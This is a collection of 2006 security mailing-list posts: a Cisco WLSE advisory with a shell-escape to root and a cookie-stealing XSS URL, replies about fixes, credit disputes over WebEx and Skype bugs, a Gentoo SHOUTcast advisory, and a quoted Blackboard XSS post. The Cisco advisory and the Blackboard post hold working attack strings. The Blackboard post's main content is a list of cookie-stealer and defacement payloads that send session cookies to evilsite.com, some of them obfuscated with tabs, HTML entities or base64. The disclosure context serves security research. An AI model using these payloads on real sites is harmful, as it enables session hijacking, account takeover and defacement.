> -----------------------------------------------
> Release Date:
>  19-Apr-2006
> 
> Software:
>  Cisco Wireless Lan Solution Engine (WLSE)
>  Cisco Hosting Solution Engine (HSE)
>  Cisco Ethernet Subscriber Solution Engine (ESSE) 
>  Cisco User Registration Tool (URT)
>  CiscoWorks2000 Service Management Solution (SMS) 
>  Cisco Vlan Policy Server (VPS)
>  Cisco Management Engine (ME1100 Series)
>  CiscoWorks Service Level Manager (SLM)
> 
> 
> Vulnerabilities discovered:
> 
>  (1) A Vulnerability in the CiscoWorks WLSE "show" CLI application allows
>      execution of arbitrary code as the root user. 
> 
>  (2) Cross-site scripting flaw allows session theft
> 
> Vulnerability impact of each:
> 
>  (1) Medium - An authenticated user can gain root access to the Linux based 
>               system
> 
>  (2) Low - A targeted attack could lead to session theft and administrator
>            compromise
> 
> Vulnerability information
> 
>  (1) The Cisco shell presents the administrator with a restricted set of 
>      commands which includes a "show" application. The "show" application has
>      several vulnerabilities which allow an attacker to "break out" of the 
>      shell and execute commands (including /bin/sh) as the root user.
> 
>      This "show" application has been in use on this Linux-based platform 
>      build since 1999 and exists on several other Linux-based Cisco products.
> 
>  Example:
>   An Administrator is logged into the Cisco WLSE via either Telnet or SSH.
> 
>   admin@wlse: show version
>    (C) Copyright 2005 by Cisco Systems Inc.
>    WLSE 1130 Release 2.11FCS Thu Apr 14 00:09:56 UTC 2005
>    Device Limit = 2550
>    Build Version (67) Tue Mar 15 18:13:02 UTC 2005
>    Uptime: 2 days 3 hours 32 mins
>    Linux version 2.4.28-5_WLSEsmp (root@app20.cisco.com) (gcc version 2.96 20000731
>    (Red Hat Linux 7.3 2.96-113)) #1 SMP Mon Jan 31 16:04:20 PST 2005
>    1130
>    Intel(R) CPU at  3065.897 Mhz with 3105924K bytes of memory.
> 
>   admin@wlse: show syslog include ";/bin/sh -i;"
> 
>   sh-2.05a# id
>    uid=0(root) gid=502(admin) groups=502(admin),500(enable)
> 
>   At this point the administrator has root level access to the Linux-based
>   Cisco device.
> 
>  (2) A cross-site scripting flaw exists in:
>       /wlse/configure/archive/archiveApplyDisplay.jsp
>     with the "displayMsg" parameter. This can be used to steal the JSP session
>     cookie, therefore giving a targeted attacker admin level access to the 
>     system.  Once the attacker has admin web GUI access to the system via the 
>     XSS, they can then change the admin password or create a new admin user 
>     (without requiring the admin password).
>     
>     The attacker can then use the aforementioned "show cli" local root 
>     vulnerability to gain complete control of the Cisco Linux-Based system.
>     
>     As with (1) above Telnet or SSH access is required to login with the 
>     newly created user with admin level access in order to exploit the 
>     "show cli" bug.
> 
>   Example:
>    http://cisco-wlse.example.org/wlse/configure/archive/ 
>    archiveApplyDisplay.jsp?displayMsg=<script>document.location=http:// 
>    attacker.example.org?+document.cookie</script>
>  
>   The cookie posted to attacker.example.org includes the JSESSIONID token:
>    ORIG_URL=cisco-wlse.example.org; browser_tzoffset=-660; 
>    JSESSIONID=johjehk2h1; 
>    HSE_TKT=admin:1133234898:17e5187e228ab1546ac26ef4ecacf689
> 
>   When combined with vulnerability (1), it allows a targeted attacker to gain
>   root access to the linux system.  
> 
> Solution:
>  Cisco has released patches for the vulnerabilities.
> 
> References:
>  Assurance.com.au advisory
>  http://www.assurance.com.au/advisories/200604-cisco.txt
> 
>  Cisco advisory note:
>  http://www.cisco.com/warp/public/707/cisco-sa-20060419-wlse.shtml
>  
>  Cisco security response:
>  http://www.cisco.com/warp/public/707/cisco-sr-20060419-priv.shtml
> 
> Credit:
>  Adam Pointon of Assurance.com.au
>  http://www.assurance.com.au/
> 
> Disclosure timeline:
>  30-Dec-2005 - Discovered during configuration for a customer
>  29-Jan-2006 - Email sent to psirt[at]cisco.com with full technical details
>  31-Jan-2006 - Response received from Cisco psirt
>  01-Feb-2006 - Cisco advises bug reports have been opened for both issues
>  05-Apr-2006 - Cisco releases patches to Assurance.com.au for testing
>  19-Apr-2006 - Advisory released
> 
> About us:
> Assurance.com.au is a specialised information security consultancy. 
> Our mission is to help organisations identify and secure information 
> assets. Our expertise concentrates in security architecture, managed 
> security and professional services in security testing/review and 
> compliance. 
> 
> Supporting this approach are services in the following areas: 
> 
> * Compliance Services - Penetration testing, security reviews, 
> compliance and audit services 
> 
> * Wireless and mobility solutions - design, installation and 
> management of IEEE 802.11a/b/g (WiFi), tele-mobility and other 
> wireless solutions 
> 
> * UNIX-like systems, networks and security advice and consulting 
> 
> Assurance consults to a wide array of organisations; small companies
> to large enterprise, utilities and government departments and 
> agencies. Its security professionals are respected as being amongst 
> the best in Australia and are quoted regularly in media. Assurance is 
> one of the few security organizations based in Australia actively 
> conducting vulnerability research resulting in public security 
> advisories. 
> 
> Assurances experience, expertise and vendor-neutral focus ensures 
> we are able to assess and objectively recommend appropriate solutions.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (GNU/Linux)

iD8DBQFERlp68/wE0ppYtwURAsGVAJ0ZCLnG6j0K9fOagHs/APk9jb64OwCfRn8d
91ifPoI0A6D+JYwTXQIEHh4=
=kYyG
-----END PGP SIGNATURE-----


From: zachofalltrades@sourceforge.net
Sent: Tue 18. Apr 2006 18:18
these vulnerabilites are dealt with for the next release candidate (RC6)


From: webmaster@milliscripts.com
Sent: Wed 10. May 2006 14:13
Hello,

I never read anything else from you.
I checked the points you told me (bug in milliscripts redirection when
checking $domainname for example), but they are not true.
In /include/functions.php, *every* input is checked for validation.
The functions are called:
check_domain($dname)
check_domain2($dname, $extension)
check_string($string)
verify_email($email
check_forbidden($url1)

No invalid input can reach the script, there is no possibility the an
url like this causes any problem or security issue:
http://www.server.net/red_14/register.php?do=register2&domainname=%22%3E%3Cscript%20src=http://serveratacker.com/script.js%3E%3C/script%3E&ext=somevaliddomain.net

Please test all scripts in content with the included files, like
functions.php. I dont know how you exactly test, but there can never
be any problems like you told them.
Please revise your security issue which never has been any.

Best regards

Alex


From: phpnuke@no-amazon.com
Sent: Tue 23. May 2006 20:36
So does cpg-nuke have these same vulnerabilities or am I ok to use it instead these seem like a lot of issues and the programmers of cpg-nuke are always talking about the security issues on php-nuke and you are listing a bunch.

Tyson
Holding Businesses Responsible for bad Behavior!!

Visit us for [url=http://no-amazon.com]Business Reviews[/url] where you can post ANY business or service, or where you might find things like [url=http://www.no-amazon.com/modules.php?name=Forums&file=viewtopic&t=28]Amazon.com contact[/url] info, [url=http://www.no-amazon.com/modules.php?name=Forums&file=viewtopic&t=13]Jeff Bezos[/url] profile, great places to eat and stay, or even do something drastic like a call for a [url=http://no-amazon.com]Boycott Amazon.com[/url] campaign.


From: pete@maxdev.com
Sent: Tue 20. Jun 2006 15:57
This was addressed some time ago now, please refer to: http://www.maxdev.com/Article592.phtml

Thanks


From: Paul Starzetz paul@starzetz.de
Sent: Thu 6. Jul 2006 13:13
security@mandriva.com wrote:

> 
> Prior to 2.6.15, the auto-reap child processes included processes with
> ptrace attached, leading to a dangling ptrace reference and allowing
> local users to cause a Denial of Service (crash) (CVE-2005-3784). 
>
This information is not fully correct - CVE-2005-3784 leads to an 
IMMEDIATE root compromise of vulnerable machines. But Im not going to 
provide a PoC :-]

with best regards

Paul Starzetz




From: Web Ex exwebex@yahoo.ca
Sent: Sat 8. Jul 2006 21:31
*498 days to fix an arbitrary code vulnerability
*Silently fixing buffer overrun vulns without releasing an advisory (http://xforce.iss.net/xforce/alerts/id/226, in "Additional Information" section)
 
Hmph. Wow.
 
I wonder if they kill-bitted older versions >>>hehehe  ;-)
 
I ran across at least some of the same issues reported in early 2005 as well (didnt bother to report them though).  All I can say is swiss-cheese for the stuff I looked at, whats a better word when you spend 30 minutes looking at a product and come up with a half dozen or so high impact flaws.
 
________________________________________
From: Mark Litchfield
Sent: Friday, July 07, 2006 9:58 AM
To: bugtraq@securityfocus.com; vulnwatch@vulnwatch.org; sec-adv@secunia.com
Subject: WebEx Downloader Plug-in Multiple Vulnerabilities + rant
 
All these vulnerabilities were reported to WebEx by NGS Software back on the
24th February 2005 along with some other issues.
 
The current Director of the X-Force new about these issues as at the time of
their discovery, he worked with NGS.
 
Seeing as Im the subject, here is another example whereby I found a bug (in
Skype) except Pentest-Limited were credited with its discovery -
http://www.theregister.co.uk/2005/10/25/skype_vuln/  An extract from an
email below from Kurt Sauer (Security Operations / Skype Technologies),
shows that Mark Rowe of Pentest Ltd for some unknown reason had access to my
email sent to Kurt.
 
In reviewing our mail archives, I see that you *DID* report the vuln (the
VCARD aspect) to us -- to ME, directly -- before Mark Rowe did.  However, I
(gulp) mishandled the e-mail.
 
As you surmised, it appears that Mark Rowe read that mail and found another
instantiation of the same bug, namely the handling of the command-line
parameters.
 
Completely my fault on that.  It will take one "push" cycle (typically less
than a day) to get a correction posted, but I will both correct our
announcement and also redistribute it with corrected attribution.
 
I should have asked you to CC security@skype.net on the actual vuln report,
because mail sent to that address is read by more than just me.
 
Importantly, I am going to hire a dedicated incident manager (as fast as
our hiring practices will allow) so that there is someone spending full
workdays just handing inbound messages on this topic.

Could never be bothered before to make an issue of it.  But to sit on a
large number of flaws in a vendors software product for 498 days and see
other companies credited is a tad annoying :)
 
All the best
 
Mark Litchfield


From: Mark Rowe mark.rowe@pentest.co.uk
Sent: Fri 14. Jul 2006 15:51
Hi all,

Ive spoken with Mark Litchfield this week and I just want to clarify
that in no way did Skype divulge any information imparted to them to
Pentest Limited or to our knowledge any one else regarding Marks
discoveries. It was purely coincidence that one of the vulnerabilities
we reported to Skype was the same as discovered by Mark.

I did ask Mark to post to this list to clear this up but I guess he is
too busy.

I like conspiracy theories as much as the next person but this
definitely isnt an X-file :)

Cheers,
Mark.

Mark Litchfield wrote:

> All these vulnerabilities were reported to WebEx by NGS Software back on
> the 24th February 2005 along with some other issues.
> 
> The current Director of the X-Force new about these issues as at the
> time of their discovery, he worked with NGS.
> 
> Seeing as Im the subject, here is another example whereby I found a bug
> (in Skype) except Pentest-Limited were credited with its discovery -
> http://www.theregister.co.uk/2005/10/25/skype_vuln/  An extract from an
> email below from Kurt Sauer (Security Operations / Skype Technologies),
> shows that Mark Rowe of Pentest Ltd for some unknown reason had access
> to my email sent to Kurt.
> 
> In reviewing our mail archives, I see that you *DID* report the vuln (the
> VCARD aspect) to us -- to ME, directly -- before Mark Rowe did.  However, I
> (gulp) mishandled the e-mail.
> 
> As you surmised, it appears that Mark Rowe read that mail and found another
> instantiation of the same bug, namely the handling of the command-line
> parameters.
> 
> Completely my fault on that.  It will take one "push" cycle (typically less
> than a day) to get a correction posted, but I will both correct our
> announcement and also redistribute it with corrected attribution.
> 
> I should have asked you to CC security@skype.net on the actual vuln report,
> because mail sent to that address is read by more than just me.
> 
> Importantly, I am going to hire a dedicated incident manager (as fast as
> our hiring practices will allow) so that there is someone spending full
> workdays just handing inbound messages on this topic.
> 
> 
> Could never be bothered before to make an issue of it.  But to sit on a
> large number of flaws in a vendors software product for 498 days and see
> other companies credited is a tad annoying :)
> 
> All the best
> 
> Mark Litchfield
> 
> ----- Original Message ----- From: "David Litchfield" <>
> To: "Mark Litchfield" <mark@ngssoftware.com>
> Sent: Friday, July 07, 2006 4:12 PM
> Subject: Fw: [SA20956] WebEx Downloader Plug-in Multiple Vulnerabilities
> 
> 
>> Youre not credited - are any of these yours?
>>
>> ----- Original Message ----- From: "Secunia Security Advisories"
>> <sec-adv@secunia.com>
>> To: <>
>> Sent: Friday, July 07, 2006 12:32 PM
>> Subject: [SA20956] WebEx Downloader Plug-in Multiple Vulnerabilities
>>
>>
>>>
>>> ----------------------------------------------------------------------
>>>
>>> Reverse Engineer Wanted
>>>
>>> Secunia offers a Security Specialist position with emphasis on
>>> reverse engineering of software and exploit code, auditing of
>>> source code, and analysis of vulnerability reports.
>>>
>>> http://secunia.com/secunia_security_specialist/
>>>
>>> ----------------------------------------------------------------------
>>>
>>> TITLE:
>>> WebEx Downloader Plug-in Multiple Vulnerabilities
>>>
>>> SECUNIA ADVISORY ID:
>>> SA20956
>>>
>>> VERIFY ADVISORY:
>>> http://secunia.com/advisories/20956/
>>>
>>> CRITICAL:
>>> Highly critical
>>>
>>> IMPACT:
>>> System access
>>>
>>> WHERE:
>>> From remote
>>>
>>> SOFTWARE:
>>> WebEx Downloader plug-in 2.x
>>> http://secunia.com/product/10916/
>>>
>>> DESCRIPTION:
>>> Some vulnerabilities have been reported in WebEx Downloader plug-in,
>>> which can be exploited by malicious people to compromise a users
>>> system.
>>>
>>> 1) An error exists in the ActiveX and Java versions of the WebEx
>>> Downloader plug-in where the source of downloaded components is not
>>> properly verified. This can be exploited to install malicious
>>> components on a users system.
>>>
>>> Successful exploitation allows execution of arbitrary code, but
>>> requires that the user e.g. is tricked into visiting a malicious web
>>> site.
>>>
>>> The vulnerability has been reported in version 2.0.0.7. Other
>>> versions may also be affected.
>>>
>>> 2) Some unspecified boundary errors in an included ActiveX control
>>> can be exploited to cause a buffer overflow.
>>>
>>> Successful exploitation may allow execution of arbitrary code.
>>>
>>> SOLUTION:
>>> Apply update.
>>> http://www.webex.com/go/downloadSP30
>>>
>>> PROVIDED AND/OR DISCOVERED BY:
>>> 1) Discovered by an anonymous person and reported via ZDI.
>>> 1-2) David Dewey and Mark Dowd, ISS X-Force.
>>>
>>> ORIGINAL ADVISORY:
>>> WebEx Communications:
>>> http://www.webex.com/lp/security/ActiveAdv.html?TrackID=123456
>>>
>>> Zero Day Initiative:
>>> http://www.zerodayinitiative.com/advisories/ZDI-06-021.html
>>>
>>> ISS X-Force:
>>> http://xforce.iss.net/xforce/alerts/id/226
>>>
>>> ----------------------------------------------------------------------
>>>
>>> About:
>>> This Advisory was delivered by Secunia as a free service to help
>>> everybody keeping their systems up to date against the latest
>>> vulnerabilities.
>>>
>>> Subscribe:
>>> http://secunia.com/secunia_security_advisories/
>>>
>>> Definitions: (Criticality, Where etc.)
>>> http://secunia.com/about_secunia_advisories/
>>>
>>>
>>> Please Note:
>>> Secunia recommends that you verify all advisories you receive by
>>> clicking the link.
>>> Secunia NEVER sends attached files with advisories.
>>> Secunia does not advise people to install third party patches, only
>>> use those supplied by the vendor.
>>>
>>> ----------------------------------------------------------------------
>>>
>>> Unsubscribe: Secunia Security Advisories
>>> http://secunia.com/sec_adv_unsubscribe/?email=davidl%40ngssoftware.com
>>>
>>> ----------------------------------------------------------------------
>>>
>>
>>
> 
> 

-- 
Mark Rowe
IT Security Consultant
Pentest Limited

Office: +44 (0) 161 233 0100
Fax:    +44 (0) 161 233 0990
Mobile:    +44 (0) 7813 803 929

http://www.pentest.co.uk/legal.shtml#emailpolicy

- .... . .-. . / .. ... / -. --- / ... . -.-. ..- .-. .. - -.-- / --- -.
/ - .... .. ... / . .- .-. - .... / ..--.. / / --- -. .-.. -.-- / ---
.--. .--. --- .-. - ..- -. .. - -.-- / ..--.. / / / -.. --- ..- --. .-..
.- ... / -- .- -.-. .- .-. - .... ..- .-. /


From: Cyneox cyneox@cyneox.net
Sent: Tue 11. Jul 2006 16:29
On Sun, 9 Jul 2006 19:30:05 +0200
Sune Kloppenborg Jeppesen <jaervosz@gentoo.org> wrote:
hmmm...could somebody verify if this vulnerability really works ? i tried it on 3 machines , but without success.

Regards,
Cyneox

> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> Gentoo Linux Security Advisory                           GLSA 200607-05
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>                                             http://security.gentoo.org/
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> 
>   Severity: Normal
>      Title: SHOUTcast server: Multiple vulnerabilities
>       Date: July 09, 2006
>       Bugs: #136721, #136221
>         ID: 200607-05
> 
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> 
> Synopsis
> ========
> 
> The SHOUTcast server is vulnerable to a file disclosure vulnerability
> and multiple XSS vulnerabilities.
> 
> Background
> ==========
> 
> SHOUTcast server is a streaming audio server.
> 
> Affected packages
> =================
> 
>     -------------------------------------------------------------------
>      Package                           /  Vulnerable  /     Unaffected
>     -------------------------------------------------------------------
>   1  media-sound/shoutcast-server-bin       < 1.9.7           >= 1.9.7
> 
> Description
> ===========
> 
> The SHOUTcast server is vulnerable to a file disclosure when the server
> receives a specially crafted GET request. Furthermore it also fails to
> sanitize the input passed to the "Description", "URL", "Genre", "AIM",
> and "ICQ" fields.
> 
> Impact
> ======
> 
> By sending a specially crafted GET request to the SHOUTcast server, the
> attacker can read any file that can be read by the SHOUTcast process.
> Furthermore it is possible that various request variables could also be
> exploited to execute arbitrary scripts in the context of a victims
> browser.
> 
> Workaround
> ==========
> 
> There is no known workaround at this time.
> 
> Resolution
> ==========
> 
> All SHOUTcast server users should upgrade to the latest version:
> 
>     # emerge --sync
>     # 
> emerge --ask --oneshot --verbose ">=media-sound/shoutcast-server-bin-1.9.7"
> 
> References
> ==========
> 
>   [ 1 ] Original advisory
>         http://people.ksp.sk/~goober/advisory/001-shoutcast.html
>   [ 2 ] SA20524
>         http://secunia.com/advisories/20524/
> 
> Availability
> ============
> 
> This GLSA and any updates to it are available for viewing at
> the Gentoo Security Website:
> 
>   http://security.gentoo.org/glsa/glsa-200607-05.xml
> 
> Concerns?
> =========
> 
> Security is a primary focus of Gentoo Linux and ensuring the
> confidentiality and security of our users machines is of utmost
> importance to us. Any security concerns should be addressed to
> security@gentoo.org or alternatively, you may file a bug at
> http://bugs.gentoo.org.
> 
> License
> =======
> 
> Copyright 2006 Gentoo Foundation, Inc; referenced text
> belongs to its owner(s).
> 
> The contents of this document are licensed under the
> Creative Commons - Attribution / Share Alike license.
> 
> http://creativecommons.org/licenses/by-sa/2.5
> 


From: Mark Litchfield mark@ngssoftware.com
Sent: Mon 17. Jul 2006 12:52
Was busy actually, spent some time with my kids b4 shooting off abroad.

Anyway - http://www.skype.com/security/SKYPE-SB-2005-002.txt

As it would turn out, Mark Rs bug and my bug shared the same piece of code. 
So basically two different attack vectors were discovered, callto:// URI and 
using a VCARD.

Cheers

Mark
----- Original Message ----- 
From: "Mark Rowe" <mark.rowe@pentest.co.uk>
To: bugtraq@securityfocus.com
Cc: <vulnwatch@vulnwatch.org>; <sec-adv@secunia.com>
Sent: Friday, July 14, 2006 3:51 PM
Subject: Re: WebEx Downloader Plug-in Multiple Vulnerabilities + rant


> Hi all,
>
> Ive spoken with Mark Litchfield this week and I just want to clarify
> that in no way did Skype divulge any information imparted to them to
> Pentest Limited or to our knowledge any one else regarding Marks
> discoveries. It was purely coincidence that one of the vulnerabilities
> we reported to Skype was the same as discovered by Mark.
>
> I did ask Mark to post to this list to clear this up but I guess he is
> too busy.
>
> I like conspiracy theories as much as the next person but this
> definitely isnt an X-file :)
>
> Cheers,
> Mark.
>
> Mark Litchfield wrote:
>
>> All these vulnerabilities were reported to WebEx by NGS Software back on
>> the 24th February 2005 along with some other issues.
>>
>> The current Director of the X-Force new about these issues as at the
>> time of their discovery, he worked with NGS.
>>
>> Seeing as Im the subject, here is another example whereby I found a bug
>> (in Skype) except Pentest-Limited were credited with its discovery -
>> http://www.theregister.co.uk/2005/10/25/skype_vuln/  An extract from an
>> email below from Kurt Sauer (Security Operations / Skype Technologies),
>> shows that Mark Rowe of Pentest Ltd for some unknown reason had access
>> to my email sent to Kurt.
>>
>> In reviewing our mail archives, I see that you *DID* report the vuln (the
>> VCARD aspect) to us -- to ME, directly -- before Mark Rowe did.  However, 
>> I
>> (gulp) mishandled the e-mail.
>>
>> As you surmised, it appears that Mark Rowe read that mail and found 
>> another
>> instantiation of the same bug, namely the handling of the command-line
>> parameters.
>>
>> Completely my fault on that.  It will take one "push" cycle (typically 
>> less
>> than a day) to get a correction posted, but I will both correct our
>> announcement and also redistribute it with corrected attribution.
>>
>> I should have asked you to CC security@skype.net on the actual vuln 
>> report,
>> because mail sent to that address is read by more than just me.
>>
>> Importantly, I am going to hire a dedicated incident manager (as fast as
>> our hiring practices will allow) so that there is someone spending full
>> workdays just handing inbound messages on this topic.
>>
>>
>> Could never be bothered before to make an issue of it.  But to sit on a
>> large number of flaws in a vendors software product for 498 days and see
>> other companies credited is a tad annoying :)
>>
>> All the best
>>
>> Mark Litchfield
>>
>> ----- Original Message ----- From: "David Litchfield" <>
>> To: "Mark Litchfield" <mark@ngssoftware.com>
>> Sent: Friday, July 07, 2006 4:12 PM
>> Subject: Fw: [SA20956] WebEx Downloader Plug-in Multiple Vulnerabilities
>>
>>
>>> Youre not credited - are any of these yours?
>>>
>>> ----- Original Message ----- From: "Secunia Security Advisories"
>>> <sec-adv@secunia.com>
>>> To: <>
>>> Sent: Friday, July 07, 2006 12:32 PM
>>> Subject: [SA20956] WebEx Downloader Plug-in Multiple Vulnerabilities
>>>
>>>
>>>>
>>>> ----------------------------------------------------------------------
>>>>
>>>> Reverse Engineer Wanted
>>>>
>>>> Secunia offers a Security Specialist position with emphasis on
>>>> reverse engineering of software and exploit code, auditing of
>>>> source code, and analysis of vulnerability reports.
>>>>
>>>> http://secunia.com/secunia_security_specialist/
>>>>
>>>> ----------------------------------------------------------------------
>>>>
>>>> TITLE:
>>>> WebEx Downloader Plug-in Multiple Vulnerabilities
>>>>
>>>> SECUNIA ADVISORY ID:
>>>> SA20956
>>>>
>>>> VERIFY ADVISORY:
>>>> http://secunia.com/advisories/20956/
>>>>
>>>> CRITICAL:
>>>> Highly critical
>>>>
>>>> IMPACT:
>>>> System access
>>>>
>>>> WHERE:
>>>> From remote
>>>>
>>>> SOFTWARE:
>>>> WebEx Downloader plug-in 2.x
>>>> http://secunia.com/product/10916/
>>>>
>>>> DESCRIPTION:
>>>> Some vulnerabilities have been reported in WebEx Downloader plug-in,
>>>> which can be exploited by malicious people to compromise a users
>>>> system.
>>>>
>>>> 1) An error exists in the ActiveX and Java versions of the WebEx
>>>> Downloader plug-in where the source of downloaded components is not
>>>> properly verified. This can be exploited to install malicious
>>>> components on a users system.
>>>>
>>>> Successful exploitation allows execution of arbitrary code, but
>>>> requires that the user e.g. is tricked into visiting a malicious web
>>>> site.
>>>>
>>>> The vulnerability has been reported in version 2.0.0.7. Other
>>>> versions may also be affected.
>>>>
>>>> 2) Some unspecified boundary errors in an included ActiveX control
>>>> can be exploited to cause a buffer overflow.
>>>>
>>>> Successful exploitation may allow execution of arbitrary code.
>>>>
>>>> SOLUTION:
>>>> Apply update.
>>>> http://www.webex.com/go/downloadSP30
>>>>
>>>> PROVIDED AND/OR DISCOVERED BY:
>>>> 1) Discovered by an anonymous person and reported via ZDI.
>>>> 1-2) David Dewey and Mark Dowd, ISS X-Force.
>>>>
>>>> ORIGINAL ADVISORY:
>>>> WebEx Communications:
>>>> http://www.webex.com/lp/security/ActiveAdv.html?TrackID=123456
>>>>
>>>> Zero Day Initiative:
>>>> http://www.zerodayinitiative.com/advisories/ZDI-06-021.html
>>>>
>>>> ISS X-Force:
>>>> http://xforce.iss.net/xforce/alerts/id/226
>>>>
>>>> ----------------------------------------------------------------------
>>>>
>>>> About:
>>>> This Advisory was delivered by Secunia as a free service to help
>>>> everybody keeping their systems up to date against the latest
>>>> vulnerabilities.
>>>>
>>>> Subscribe:
>>>> http://secunia.com/secunia_security_advisories/
>>>>
>>>> Definitions: (Criticality, Where etc.)
>>>> http://secunia.com/about_secunia_advisories/
>>>>
>>>>
>>>> Please Note:
>>>> Secunia recommends that you verify all advisories you receive by
>>>> clicking the link.
>>>> Secunia NEVER sends attached files with advisories.
>>>> Secunia does not advise people to install third party patches, only
>>>> use those supplied by the vendor.
>>>>
>>>> ----------------------------------------------------------------------
>>>>
>>>> Unsubscribe: Secunia Security Advisories
>>>> http://secunia.com/sec_adv_unsubscribe/?email=davidl%40ngssoftware.com
>>>>
>>>> ----------------------------------------------------------------------
>>>>
>>>
>>>
>>
>>
>
> -- 
> Mark Rowe
> IT Security Consultant
> Pentest Limited
>
> Office: +44 (0) 161 233 0100
> Fax:    +44 (0) 161 233 0990
> Mobile:    +44 (0) 7813 803 929
>
> http://www.pentest.co.uk/legal.shtml#emailpolicy
>
> - .... . .-. . / .. ... / -. --- / ... . -.-. ..- .-. .. - -.-- / --- -.
> / - .... .. ... / . .- .-. - .... / ..--.. / / --- -. .-.. -.-- / ---
> .--. .--. --- .-. - ..- -. .. - -.-- / ..--.. / / / -.. --- ..- --. .-..
> .- ... / -- .- -.-. .- .-. - .... ..- .-. /
>
> 



From: binary.loc@gmail.com
Sent: Wed 19. Jul 2006 14:04
A fix has been published at binaryloc.copyleftwriting.org/osdat1.zip


From: "C. Hamby" fixer@gci.net
Sent: Tue 22. Aug 2006 16:57
What type of an account do you have to have and in what sections can
this be exploited?
Also, has Blackboard verified this in their current release (7.1)?

-cdh


Pr070n@gmail.com wrote:
> -----------------------------------------------------------------------------------------
> 
> 
> Found by: PrOtOn & digi7al64
> 
> 
> Date: May 20th 2006
> 
> 
> Critical Level: High
> 
> 
> Type: Multiple Cross Site Scripting (XSS) vunerabilities
> 
> 
> 
> ------------------------------------------------------------------------------------------
> 
> 
> 
> Software:
> 
> Blackboard Learning System (Release 6) Blackboard Learning and Community Portal Suite (Release6)-6.2.3.23
> 
> 
> 
> ------------------------------------------------------------------------------------------
> 
> 
> 
> Explanation: You can inject HTML, VB code and or Javascript into specific tags to steal 
> 
> cookies, deface the site using frame busters or even redirect to external sites for phishing purposes. 
> 
> If you have limited access, then a simple post into the Discussion Board using the right 
> 
> tags with the right code (provided below) will execute the vulnerability(ies).
> 
> 
> 
> -------------------------------------------------------------------------------------------
> 
> 
> About:
> 
> Blackboards parsing system only checks for the string "javascript", Thus vbscript code can be injected at will into tags as well as any versions of javascript that uses uncommon syntax (ie tabs encoding etc)
> 
> 
> -------------------------------------------------------------------------------------------
> 
> Vulnerabilities:
> 
> 
> Defacement (FrameBuster)
> 
> -------------------------
> 
> <meta http-equiv="refresh"
> 
> content="15;url= http://evilsite.com">
> 
> 
> 
> Defacement (FrameBuster)
> 
> -------------------------
> 
> <iframe src=" http://evilsite.com" width=100
> 
> height=100></iframe>
> 
> 
> 
> Defacement (IE ONLY)
> 
> -------------------------
> 
> <img src=vbscript:document.write("defaced_by_insane_script_kiddies")>
> 
> 
> 
> Defacement (IE ONLY)
> 
> -------------------------
> 
> <link rel="stylesheet"
> 
> href=vbscript:document.write("defaced_by_insane_script_kiddies")>
> 
> 
> <img src=vb script:document.write("defaced_by_insane_script_kiddies")>
> 
> 
> 
> Cookie Stealer (IE ONLY)
> 
> -------------------------
> 
> 
> <img
> 
> src="vbscript:wintest=window.open(%22http://evilsite.com + document.cookie)"style=visibility:hidden/>
> 
> <img src="vbscript:window.focus ()"style=visibility:hidden/>
> 
> <img src="vbscript: window.close()"style=visibility:hidden/>
> 
> 
> 
> Cookie Stealer (IE ONLY)
> 
> -------------------------
> 
> <link rel="stylesheet"
> 
> href="vbscript:wintest=window.open(%22http://evilsite.com+document.cookie)">
> 
> 
> 
> Cookie Stealer (Encoded Tab - IE ONLY)
> 
> -------------------------
> 
> <img
> 
> src="jav&#x09;ascript: document.images[1].src=%22http://evilsite.com+document.cookie;"<img src="jav
> 
> ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>
> 
> 
> 
> Cookie Stealer (html encoded - IE ONLY)
> 
> -------------------------
> 
> <img
> 
> src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;document.images[1].s
> 
> rc=" http://evilsite.com"+document.cookie;<img
> 
> src="jav
> 
> ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>
> 
> 
> 
> Cookie Stealer (tabs - IE ONLY)
> 
> -------------------------
> 
> <img src="jav
> 
> ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>
> 
> 
> 
> Cookie Stealer (body tag with tabs - IE ONLY)
> 
> -------------------------
> 
> <body background="jav
> 
> ascript:document.images[1].src=%22http://evilsite.com+document.cookie;">
> 
> 
> 
> Cookie Stealer (div tag with tabs - IE ONLY)
> 
> -------------------------
> 
> <div style="background-image: url(jav
> 
> ascript:document.images[1].src=%22http://evilsite.com+document.cookie;)">
> 
> 
> 
> Cookie Stealer (firefox)
> 
> -------------------------
> 
> <META HTTP-EQUIV="refresh"
> 
> CONTENT="0;url=data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS5jb20vY29va2llLmpzIj48L3NjcmlwdD4=">
> 
> 
> 
> Cookie Stealer (firefox - click to work)
> 
> -------------------------
> 
> <a
> 
> href="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS5jb20vY29va2llLmpzIj48L3NjcmlwdD4=">hmmm</a>  
> 
> 
> 
> ---------------------------------------------------------------------------------------------
> 
> 
> 
> Disclaimer:
> 
> Myself or any other person involved with this discovery will not be responsible for what you 
> 
> do with this information.
> 
> Blackboard developers have been contacted by me and a patch has been released according to them.
> 
> 
> 
> -----------------------------------------------------------------------------------------------
> 
> 
> 
> Shout Outs:
> 
> r0xes, criticalsecurity(dot)net, Infowar(dot)com
> 
> 
> 
> ------------------------------------------------------------------------------------------------
> 
> 
> 
> Contact:
> 
> Pr070n(at)gmail(dot)com
> 
> Digi7al64(at)gmail(dot)com
> 
> 
> 
> -------------------------------------------------------------------------------------------------
> 



From: pr0t0n@busted.com
Sent: Wed 23. Aug 2006 13:19
FYI-

This XSS was discovered in Blackboard 6.2.x (compare to Windows 95 in today’s language). The current version of Blackboard in GA is 7.1.x

As for Pr0t0n; last I heard, he got expelled from Brevard Community College for messing around with their Blackboard system.


From: Pr070n@gmail.com
Sent: Mon 28. Aug 2006 01:04
 A simple student account and you can execute the XSS. You will put the code onto the discussion board in a post form.
 There is why Blackboard released first a patch and then an upgrade. Those vulnerabilities were found around the first semester of 2006. So there wasnt version 7.0 at that time.
